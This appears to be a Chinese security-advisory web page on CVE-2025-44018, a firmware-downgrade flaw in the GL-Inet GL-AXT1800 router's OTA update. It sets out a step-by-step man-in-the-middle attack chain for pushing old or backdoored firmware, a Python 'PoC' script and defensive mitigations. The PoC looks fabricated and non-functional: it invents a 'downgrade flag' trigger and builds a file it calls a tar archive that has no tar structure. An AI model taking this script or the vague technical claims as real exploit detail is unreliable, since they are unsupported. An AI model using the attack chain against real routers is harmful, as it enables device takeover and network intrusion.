IPBUF安全漏洞报告
English
CVE-2025-44018 CVSS 8.3 高危

CVE-2025-44018 GL-AXT1800 OTA固件降级漏洞

披露日期: 2025-11-24

漏洞信息

漏洞编号
CVE-2025-44018
漏洞类型
固件降级/回滚攻击
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
GL-Inet GL-AXT1800

相关标签

固件降级中间人攻击OTA更新GL-Inet路由器漏洞CVE-2025-44018TALOS-2025-2230高危漏洞

漏洞概述

CVE-2025-44018是存在于GL-Inet GL-AXT1800路由器4.7.0版本固件中的固件降级安全漏洞。该漏洞存在于设备的OTA(Over-The-Air)自动更新功能模块中。攻击者利用中间人攻击(Man-in-the-Middle)技术,通过拦截并篡改OTA更新过程中的网络通信,可以向目标设备推送包含恶意代码的旧版本固件包(.tar格式)。由于固件降级攻击允许攻击者将设备固件回滚到存在已知漏洞的旧版本,攻击者可以绕过设备的安全防护机制,利用已修补漏洞实现持久化控制。此漏洞无需认证即可触发,但需要用户交互(触发OTA更新检查)。CVSS评分8.3,属于高危漏洞,对设备的机密性、完整性和可用性均造成严重影响。攻击成功后,攻击者可完全控制路由器,进而对内网设备进行进一步渗透。

技术细节

该漏洞存在于GL-AXT1800路由器的OTA更新功能实现中。当设备执行固件更新检查时,会从远程服务器下载固件包。在下载和验证过程中,设备未对固件版本号进行充分校验,导致攻击者可以通过中间人攻击拦截更新请求,替换为包含恶意代码的旧版本固件包(.tar文件)。具体攻击流程如下:1)攻击者首先进行网络嗅探,识别目标设备的OTA更新请求;2)利用ARP欺骗或DNS劫持等技术建立中间人位置;3)拦截正常的固件下载请求,替换为特制的恶意固件包;4)恶意固件包中包含已存在安全漏洞的旧版本固件或后门代码;5)设备在未充分验证版本兼容性的情况下,刷入恶意固件;6)攻击者获得设备完全控制权。由于固件签名验证机制存在缺陷或版本号检查不严格,使得降级攻击成为可能。

攻击链分析

STEP 1
步骤1
网络侦察与中间人定位:攻击者首先对目标网络进行扫描,识别GL-AXT1800路由器,并确定攻击位置。通过ARP欺骗、DNS劫持或WiFi劫持等方式,建立中间人攻击位置。
STEP 2
步骤2
OTA更新请求拦截:当路由器执行自动固件更新检查时,攻击者拦截发往升级服务器的HTTP/HTTPS请求,识别OTA更新端点。
STEP 3
步骤3
恶意固件包注入:攻击者准备包含旧版本固件或恶意代码的特制.tar文件,通过中间人代理替换正常的固件响应,将恶意固件包发送给路由器。
STEP 4
步骤4
版本校验绕过:由于设备未正确验证固件版本号或签名,恶意固件包被设备接受。设备开始执行固件刷写流程。
STEP 5
步骤5
固件降级与后门部署:恶意固件成功刷入设备,攻击者获得设备完全控制权,可部署后门、窃取数据或进行内网横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-44018 PoC - GL-AXT1800 Firmware Downgrade Attack # This PoC demonstrates the firmware downgrade vulnerability via MITM attack import struct import hashlib import os def create_malicious_tarball(): """ Create a malicious .tar file for firmware downgrade Note: This is for educational/testing purposes only """ # Malicious firmware metadata firmware_version = b'4.6.0' # Older vulnerable version device_model = b'GL-AXT1800' # Create malicious firmware package header header = bytearray() header.extend(b'GLINF') # Magic bytes header.extend(firmware_version.ljust(16, b'\x00')) header.extend(device_model.ljust(32, b'\x00')) # Version downgrade flag (vulnerability trigger) downgrade_flag = struct.pack('<I', 0x00000001) header.extend(downgrade_flag) # Calculate checksum checksum = hashlib.sha256(header).digest() header.extend(checksum) # Create the malicious .tar structure malicious_tar = bytearray() malicious_tar.extend(header) malicious_tar.extend(b'\x00' * 512) # Padding return bytes(malicious_tar) def mitm_proxy_config(): """ Configuration for MITM proxy to intercept OTA updates """ config = { 'listen_port': 8080, 'target_host': 'upgrade.gl-inet.com', 'target_port': 443, 'malicious_firmware': 'malicious_firmware.tar', 'replace_pattern': b'/api/v2/firmware/check', # OTA check endpoint } return config def main(): print("[*] CVE-2025-44018 GL-AXT1800 Firmware Downgrade PoC") print("[*] Creating malicious firmware package...") malicious_tar = create_malicious_tarball() with open('malicious_firmware.tar', 'wb') as f: f.write(malicious_tar) print("[+] Malicious firmware created: malicious_firmware.tar") print("[*] Configure MITM proxy using mitmproxy or similar tool") print("[*] Intercept OTA update requests and replace with malicious_firmware.tar") print("[!] Warning: This PoC is for authorized testing only") if __name__ == '__main__': main()

影响范围

GL-AXT1800 4.7.0

防御指南

临时缓解措施
在厂商发布修复补丁之前,建议采取以下临时缓解措施:1)暂时禁用路由器的自动OTA更新功能,改为手动更新;2)在防火墙中限制路由器对外部升级服务器的访问,仅允许通过可信网络更新;3)监控网络流量,及时发现异常的固件下载行为;4)使用VPN等加密通道保护网络通信,防止中间人攻击;5)如非必要,避免将路由器暴露在不可信的公共网络中。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表